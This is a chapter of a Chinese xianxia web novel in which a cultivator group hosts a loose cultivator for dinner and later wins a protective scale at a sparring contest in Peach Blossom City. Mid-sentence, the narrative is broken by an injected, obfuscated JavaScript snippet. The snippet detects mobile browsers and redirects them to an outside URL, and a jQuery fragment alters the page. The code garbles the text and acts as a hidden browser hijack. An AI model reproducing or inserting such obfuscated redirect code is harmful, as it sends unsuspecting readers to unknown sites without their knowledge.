大白鹅魂体渐淡，缓缓消失在房中。申流没有应沈秋的道谢，冷淡嘱咐道：“我劝你们不要轻举妄动，目前发现的不过它皮毛。小白待了三年，从未见过背后主谋，甚至不清楚他招揽散修、培养刺客究竟有何用意。”
莫缘点头如捣蒜，“听见没沈秋？你们也是，还没到查这个的时候。”
他转头又对其他人道。
“……”
申流拍拍衣摆起身，“言尽于此，你们好自为之。”
云无界微笑道：“申兄何不用完晚膳再走？好让我等答谢一番。”
申流毫不客气改变主意，“善。”
所有人捏着钱袋下楼，端端正正坐在方桌旁，紧张望着申流伸出手指，在装满鱼虾的水井前一通指指点点。
“一个两个三个四个……他买了三条大鱼！”莫缘低呼。
蔺如风如临大敌，“一会儿谁都不许说吃饱了！”
然而申流作为饥一顿饱一顿的散修，浪费粮食完全不会发生在他身上。他人看着瘦瘦一条，吃饭慢条斯理，却是吃得最多的那个。
桌上还有一半饭菜时沈秋四人再吃不动，全靠申流将其一扫而尽。
要结账时祁思语把自己的钱袋丢给沈秋，屁股沾在凳上转向申流，“我有一事不解，想向申兄请教。”他略有迟疑，“与小白有关。”
申流摆摆手，“你问。”
“敢问申兄是如何让小白的魂体跟着自己的？魂体以执念为生，有执念者徘徊原地，无执念者散于世间。我观小白并未修成厉鬼，没有无破开束缚之力，为何能同你行遍各方？”
沈秋回来时正巧听见，不解皱眉，想不到祁思语居然对魂体感兴趣。
而申流竟笑了，刻薄的唇抿起柔和的弧度，“因为它执念在阿姐身上。”
“魂以执念为生，执念在己，徘徊不去；执念在他人，随他人游动。”申流取出一枚精致的瓷瓶，“阿姐被我带在身边，它自然便会跟来。”
祁思语拱手，“受教。”
申流吃饱喝足心情愉悦，决定趁着饱腹时继续赶路。
沈秋送他出饭馆，“申兄可想好接下来去哪儿？”
“……无涯城、天骄榜。”申流请她留步，悠悠晃上大街。
沈秋愣怔，那也是他们此行必去之地——祁思语决意要去的地方，一座凡人无法进入、云集了各路修士的不夜之城。城内天骄榜半年开放一次，上千名六十岁以下修士在此角逐，前百名者名扬天下。
其中散修少之又少。
-
虽不深入探查，踩点还是要踩的。为赶时间，他们分头行动，沈秋留在房内把在大白鹅记忆中看到的暗点画出；其余四人前往各点，只要有明显聚众拉拢现象便记录下来，而后翌日清晨早早出发。
越往东走城镇越稀疏。许多时候他们不得不在郊野过夜，遇见越来越多的食人妖与失去神智的恶鬼。
不知是何缘故，兴许一路坐马车里闷得慌，祁思语坐到车厢外充当不需要的马夫，驱使木马放慢速度。
这日正午他们才刚生起火热点米汤，一条毛茸茸的黑色长腿突然戳在沈秋和莫缘之间，吓得莫缘手脚并用贴地窜逃。
沈秋手指化剑朝旁侧横扫，却见那腿轻盈地向上一跳，另有一条腿顶起装米汤的锅后马上跑开，动作无比熟练。
速度之快只见其快乐的背影。
——是只两丈高的煤蛛妖，通体漆黑毛发旺盛，行走依靠八足跳跃，喜食人类食物。
“……”蔺如风和云无界看着空无一物的火堆齐齐叹气。
莫缘死死揉搓眼睛，像是恨不得换一双新的。
沈秋道：“不过是只蛛妖罢了。”
他崩溃大喊，“如果真是猪妖就好了！”
沈秋想了想，在储物荷包里翻找了好一阵，掏出个不知何年偷溜到城里买的毛绒小猪，通体粉嫩憨态可掬，给莫缘洗眼正合适。
祁思语重重一咳，拿起蔺如风手边的地图一本正经地展开，“蛛妖确实倒胃口，不如我们找个小城歇歇脚。”
云无界刚取出来的新锅滞于半空，他举着手面露疑惑，“去哪儿？二者的关系是？”
祁思语道：“桃花城。”
大伙沉默，与小猪长久对视的莫缘第一个响应，“桃花城一定要去！那里的桃花四季盛开，做的桃花酥一绝！城中心有一棵千年古树，在上面绑红带求姻缘非常灵验！”
原来如此，众人揶揄地笑。
祁思语狠狠剜了莫缘一眼，爬上马车。
蔺如风扬声道：“想去便去吧，本就是你的修行。”
马车风驰电掣，穿越重重树影见到天光。在开阔官道上眺望，桃花城犹如桃林里建造的石屋，片片花瓣将城外土地都厚铺一层，隔得如此之远也能闻到缕缕花香。
沈秋的肚子咕咕叫起来，进到城内的第一件事便是买莫缘所说的桃花酥。
味道的确一绝，她连吃两个。
“你来过这里？”
莫缘想了想，“很小的时候，记不清楚。”
桃花城人很多却不喧闹，唯有一处锣鼓震天，欢呼声此起彼伏。
祁思语显然很想马上找到千年桃树，但抹不开面子同他们说，被寻热闹的沈秋拽到凡人们包围的擂台前。
擂台上有两人正赤身比武，每有一人击退对方一次，下面的凡人便高呼鼓掌。两人都是练家子，你来我往难分胜负，直到其中一人率先击退对手十下获得胜利，这场比试才终于结束。
擂台后坐着位中年男子，服饰华贵笑容和蔼，手臂倚着的方桌上静置着一个盒子，应当是比武的彩头。
“可有人挑战？若无人挑战，这位兄弟将直接与我府上家仆比划比划。”中年男子温和道。
莫缘稍稍向沈秋俯身，“沈秋，你去。奖品是好东西。”
听到的蔺如风不赞成，“他们是凡人，修士与之比武太欺负人。”
沈秋也道：“那兄台应当能拿到彩头，我们不能夺人机遇。”
莫缘有些急，“他拿不到的！他今天运气不好！”
台上之人仍在等待，一旁的凡人见他们有些争执，热情招呼，“是外乡人？可愿上去比试比试？我们都看得开，赢便是赢，输便是输，谁红脸了准被笑话。这比试源于百年前郑员外比武招亲，招了个心善敦厚的好女婿。所以你们若能拿下彩头，将来定能寻着好夫郎、好娘子！”
这话仿佛是特意说给祁思语听的。
沈秋回头，用眼神示意。
祁思语兴致缺缺，“我已经找到了。”
你找到的一定会是你娘子吗！沈秋心里大骂。
周围凡人起哄鼓励，莫缘不住催促。等待挑战的男子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128651|180175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
循声看来，拱手笑道：“姑娘可愿赐教？”
没办法了。
沈秋不得已敛尽全部灵力，小跑几跃上擂台。
短短几步男子便看出她功夫不浅，眼睛微亮，再一行礼后捏拳出击。
他速度并不快，拳携劲风而来却好似有千斤重。
沈秋忍住下意识要接住拳头飞踢回去的冲动，双脚挪腾快速闪避攻击，贴到近前连拍他身体数下。
男子只觉身体寸寸僵硬，试图调动内力冲破桎梏。
然而瞬间的停滞对于高手来说便是成败之机。沈秋抓住机会拍出十掌，正巧令其后退十步。
台下骤然沸腾。
男子气喘吁吁抱拳，“姑娘好身法！”
沈秋回礼，“多有承让。”
男子下台，她独自一人站在上面等候新的挑战者，觉得高升的日头格外晃眼，烧得她面皮发烫。
挑战者迟迟未出，中年男子命下人取来签筒，向众人一一展示木签上姓名无误后，亲自摇晃抽取。
所有人抻长脖子屏住呼吸，目光紧紧追随那根从筒里掉出的木签。
清脆声响，下人尚未捡起，台下已是惊呼四起。
“是荆全！荆府身手最好的家将！看来今日这宝物是取不走了！”
沉默寡言的男子走上擂台，行过抱拳礼后迅速出手。
两人被定在擂台中心一般分毫不动，短短几喜过了上百招。
中年男子喜笑颜开，拍手道了三遍“好”。
蔺如风眯眼细瞧他们动作，颇有些讶异地挑眉，“平日只知十六懈怠得很，武基课上亦不专注，不曾想竟这般厉害，兴许比之我等还要强上一些。”
“这是私下练习才能有的吗？”莫缘问。
祁思语颔首，“天才也需练万日之功。”
莫缘欣慰地笑起来，与有荣焉。
“咚！”
荆全被击退一步，双方稍停一瞬继续缠斗在一起。
台下人随两边胜负控制不住低呼，又担心惊到他们，遂不约而同捂住嘴。
直到太阳升至天空正中，沈秋以七胜三败赢下彩头。
中年男子将盒子递给她，大掌重重拍她肩头，“巾帼之姿！”接着便是盛情邀请她去府里用膳，说要为她大摆宴席。
沈秋连连婉拒，跑下台后让莫缘给自己换了张脸才敢上街。
祁思语有些急不可耐想往千年桃树那儿跑了，但云无界指指比武赢来的小盒打断他，“打开看看是何物？”
沈秋依言打开。
盒中静静躺着枚甲片，即便薄薄一片依然能够看出用料极好。
蔺如风轻轻碰了碰，感受到强烈的阻碍感，“捡到宝了，他们居然愿意把这等宝物送予他人。”
莫缘洋洋得意，“这是护心甲，用深海鱼妖的褪鳞做成的，虽然没有灵力，但鱼妖身体强悍，鳞片放在心脏处可以抵挡致命伤害。”
祁思语质疑，“你怎么知道？”
莫缘取笑道：“桃花城荆府时不时就拿新得的宝物出来比武招纳贤士，每次奖品是什么都会提前说。这些稍微查查就知道了，我可不像你，看到个求姻缘的桃花树就被蒙蔽了双眼。”
“……”
蔺如风和云无界乐不可支。
这次提到姻缘祁思语脸不红了，换了个色儿，莫缘说是猪肝色。